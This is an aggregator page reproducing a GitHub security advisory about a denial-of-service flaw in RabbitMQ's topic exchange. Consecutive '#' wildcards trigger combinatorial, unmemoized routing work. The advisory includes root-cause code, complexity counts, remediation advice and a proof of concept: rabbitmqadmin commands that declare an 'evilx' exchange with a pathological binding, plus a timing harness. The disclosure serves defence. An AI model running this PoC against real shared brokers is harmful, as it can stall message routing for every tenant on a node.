Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-h964-v5mf-22cq

Опубликовано: 18 авг. 2026
Источник: github
Github: Не прошло ревью
CVSS4: 7.1

Описание

Consecutive topic wildcards cause combinatorial routing work

Summary

An authenticated user who can bind a queue to a topic exchange and publish to that exchange can force the routing engine into combinatorial recursion by using a binding key that contains consecutive # segments.

When such a binding is matched against a routing key of comparable depth, the matcher repeatedly re-enters identical {trie node, remaining routing-key suffix} states without memoization, and builds a duplicate list of destination results that is only deduplicated after the full traversal completes.

A binding and routing key only tens of bytes long can therefore drive millions to billions of recursive matcher invocations and allocate a correspondingly large intermediate result list, all while producing exactly one queue delivery. The work is performed inline in the routing path with no connection, channel, queue, message-size, or memory-alarm limit interrupting a single in-progress traversal.

Preconditions

  • The attacker holds an authenticated account on a vhost.
  • The attacker can bind a queue to a topic exchange (configure on the queue, read on the exchange).
  • The attacker can publish to that exchange (write on the exchange).
  • The binding key contains adjacent # segments (e.g. #.#.#).

All of these are ordinary permissions for a normal tenant on its own vhost. No administrator, policymaker, or non-default configuration is required.

Affected versions

Verified present on main at commit dd7d627 (release line v4.2.0-beta.4). The matcher design is long-standing and both the current projection matcher and the legacy v3 matcher are affected (see Root cause), so all currently maintained releases that share this routing implementation should be considered affected pending maintainer confirmation.

Root cause

1. No binding-key grammar validation

The topic exchange performs no validation of binding keys. validate_binding/2 ignores its arguments and unconditionally returns ok, so consecutive # segments are never rejected at declaration time:

validate_binding(_X, _B) -> ok.

2. Non-memoized recursive matcher

rabbit_db_topic_exchange:match/3 selects a matcher based on the effective projection version: version >= 4 uses trie_match/7, older projections use trie_match_v3/5. Both share the same recursive structure.

match(#resource{virtual_host = VHost, name = XName} = X, RoutingKey, Opts) -> BKeys = maps:get(return_binding_keys, Opts, false), Words = split_topic_key_binary(RoutingKey), case rabbit_khepri:get_effective_topic_binding_projection_version() of V when V >= 4 -> XSrc = {VHost, XName}, {TrieTab, BindingTab} = rabbit_khepri:topic_trie_table_names(V), Root = case V of 4 -> root; _ -> {root, XSrc} end, try trie_match(XSrc, TrieTab, BindingTab, Root, Words, BKeys, []) catch error:badarg -> [] end; _ -> trie_match_v3(X, Words, BKeys) end.

For each routing-key word, trie_match/7 explores the literal branch, the * branch, and the # branch. The # branch is handled by trie_match_skip_any/7, which recursively evaluates both the "consume a word and keep skipping" path and the "stop skipping" path:

trie_match(XSrc, TrieTab, BindTab, Node, [], BKeys, Acc0) -> Acc1 = trie_bindings(BindTab, Node, BKeys, Acc0), trie_match_try(XSrc, TrieTab, BindTab, Node, <<"#">>, fun trie_match_skip_any/7, [], BKeys, Acc1); trie_match(XSrc, TrieTab, BindTab, Node, [W | RestW] = Words, BKeys, Acc0) -> Acc1 = trie_match_try(XSrc, TrieTab, BindTab, Node, W, fun trie_match/7, RestW, BKeys, Acc0), Acc2 = trie_match_try(XSrc, TrieTab, BindTab, Node, <<"*">>, fun trie_match/7, RestW, BKeys, Acc1), trie_match_try(XSrc, TrieTab, BindTab, Node, <<"#">>, fun trie_match_skip_any/7, RestW, BKeys, Acc2). trie_match_try(XSrc, TrieTab, BindTab, Node, Word, MatchFun, RestW, BKeys, Acc) -> ... trie_match_skip_any(XSrc, TrieTab, BindTab, Node, [], BKeys, Acc) -> trie_match(XSrc, TrieTab, BindTab, Node, [], BKeys, Acc); trie_match_skip_any(XSrc, TrieTab, BindTab, Node, [_ | RestW] = Words, BKeys, Acc) -> trie_match_skip_any( XSrc, TrieTab, BindTab, Node, RestW, BKeys, trie_match(XSrc, TrieTab, BindTab, Node, Words, BKeys, Acc)).

The legacy path trie_match_v3/5 (same file, 181:215) has the identical consuming/non-consuming recursion via trie_match_skip_any_v3/5.

Neither matcher memoizes visited {Node, RemainingWords} states. With a trie containing consecutive # edges, the same state is reached along exponentially many distinct call paths, so the number of matcher invocations follows a central binomial recurrence rather than the linear depth of the input.

3. Deduplication happens only after the full traversal

The exchange type explicitly documents that routing may return duplicates and that deduplication is the caller's responsibility, performed only once the matcher has returned the complete result list:

%% route/2 and route/3 can return duplicate destinations (and duplicate binding keys). %% The caller of these functions is responsible for deduplication. route(Exchange, Msg) -> route(Exchange, Msg, #{}). route(#exchange{name = XName}, Msg, Opts) -> RKeys = mc:routing_keys(Msg), lists:append([rabbit_db_topic_exchange:match(XName, RKey, Opts) || RKey <- RKeys]).

Consequently the intermediate duplicate list is fully materialized in the routing process's heap before it collapses to a single destination.

Complexity analysis

For a binding key of n consecutive # segments matched against a routing key of n words, the number of duplicate terminal results is the central binomial coefficient:

D(n, n) = C(2n - 1, n - 1)

Analytically derived counts (matcher invocations and duplicate outputs):

nduplicate outputsmatcher calls
121,352,0785,200,300
1420,058,30077,558,760
16300,540,1951,166,803,110

These are exact combinatorial counts derived from the recurrence, not wall-clock measurements. Use the harness in the next section to capture CPU time and heap growth in your environment.

Amplification ceiling

n in the table above is small only for illustration. AMQP 0-9-1 short strings allow binding and routing keys up to 255 bytes. Each #. segment costs 2 bytes, so a single, entirely legal frame can carry roughly n ≈ 127 segments. D(127, 127) is astronomically larger than the n=16 row, meaning one request can be made effectively unbounded in cost. No channel fan-out or repetition is required to reach catastrophic work; repetition and multiple channels only add linear multipliers on top.

Proof of concept

A. Trigger via a normal client

Create one topic exchange, one queue, and one binding whose key is n repetitions of # joined by dots, then publish one message whose routing key is n repetitions of a:

exchange: evilx (type=topic) queue: evilq binding key: #.#.#.#.#.#.#.#.#.#.#.# (n = 12) routing key: a.a.a.a.a.a.a.a.a.a.a.a (n = 12) payload: (empty)

Example using rabbitmqadmin:

N=12 BK=$(python3 -c "print('.'.join(['#']*$N))") RK=$(python3 -c "print('.'.join(['a']*$N))") rabbitmqadmin declare exchange name=evilx type=topic rabbitmqadmin declare queue name=evilq rabbitmqadmin declare binding source=evilx destination=evilq routing_key="$BK" rabbitmqadmin publish exchange=evilx routing_key="$RK" payload=""

Increasing N toward the ~127 ceiling rapidly increases routing cost. The queue ends with exactly one ready message, confirming the work is wasted duplicate computation rather than legitimate fan-out.

B. Direct measurement harness (captures wall-clock + heap)

Run this against a node after declaring the binding above. It times the internal matcher on the live projection and reports microseconds and the pre-dedup result length, so you can record real numbers for the Impact section:

# Measure a single match at a given depth N against exchange evilx in vhost "/" N=16 RK=$(python3 -c "print('.'.join(['a']*$N))") rabbitmqctl eval " X = rabbit_misc:r(<<\"/\">>, exchange, <<\"evilx\">>), RK = <<\"$RK\">>, {T, R} = timer:tc(fun() -> rabbit_db_topic_exchange:match(X, RK, #{}) end), io:format(\"depth=~p match_time_us=~p predup_results=~p~n\", [$N, T, length(R)]), {memory, M} = erlang:process_info(self(), memory), io:format(\"caller_heap_bytes=~p~n\", [M]). "

Record the match_time_us and predup_results values at increasing N (e.g. 12, 14, 16, 20). A single call whose match_time_us grows into the seconds range while holding a scheduler demonstrates the denial-of-service directly; pushing N further drives the node toward unresponsiveness.

Controls

  • A literal binding of equal depth (a.a.…) or a single # binding returns one match effectively instantly.
  • Both the attack and the control leave exactly one ready message in evilq, isolating routing cost as the only variable.

Impact

A single low-privileged tenant can:

  • Consume shared Erlang scheduler CPU for the full duration of one routing traversal, degrading or halting message routing for all vhosts and clients on the node (the broker is a shared, multi-tenant system).
  • Grow the routing process heap with the materialized duplicate destination list before deduplication, contributing memory pressure.

Critically, existing safeguards do not help: connection limits, channel limits, queue limits, max_message_size, and memory alarms all operate at boundaries that a single in-progress match/3 call does not cross. There is no per-routing work budget that can abort a runaway traversal.

Workarounds

There is no effective configuration-level mitigation. Any account able to bind and publish on a topic exchange can trigger the behavior, and there is no setting that bounds per-routing work or rejects consecutive-# binding keys. The only robust fix is at the code level.

Recommended remediation

  • Memoize matcher states by {trie node, remaining routing-key position} so each state is evaluated once, collapsing the combinatorial recurrence to polynomial cost. Apply to both trie_match/7 and trie_match_v3/5.
  • Collapse adjacent # words in routing projections while preserving binding identity, since #.# is semantically equivalent to #.
  • Rebuild every active projection version after the fix so existing bindings benefit.
  • Bound per-routing work / wildcard depth as defense in depth, aborting or rejecting pathological traversals.
  • Add regression coverage: an equal-depth consecutive-wildcard benchmark that asserts routing time stays within a bound, plus a correctness test that a consecutive-# binding still yields exactly one delivery.

Пакеты

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.3.0, < 4.3.5

4.3.5

7.1 High

CVSS4

Дефекты

CWE-407
CWE-1333

7.1 High

CVSS4

Дефекты

CWE-407
CWE-1333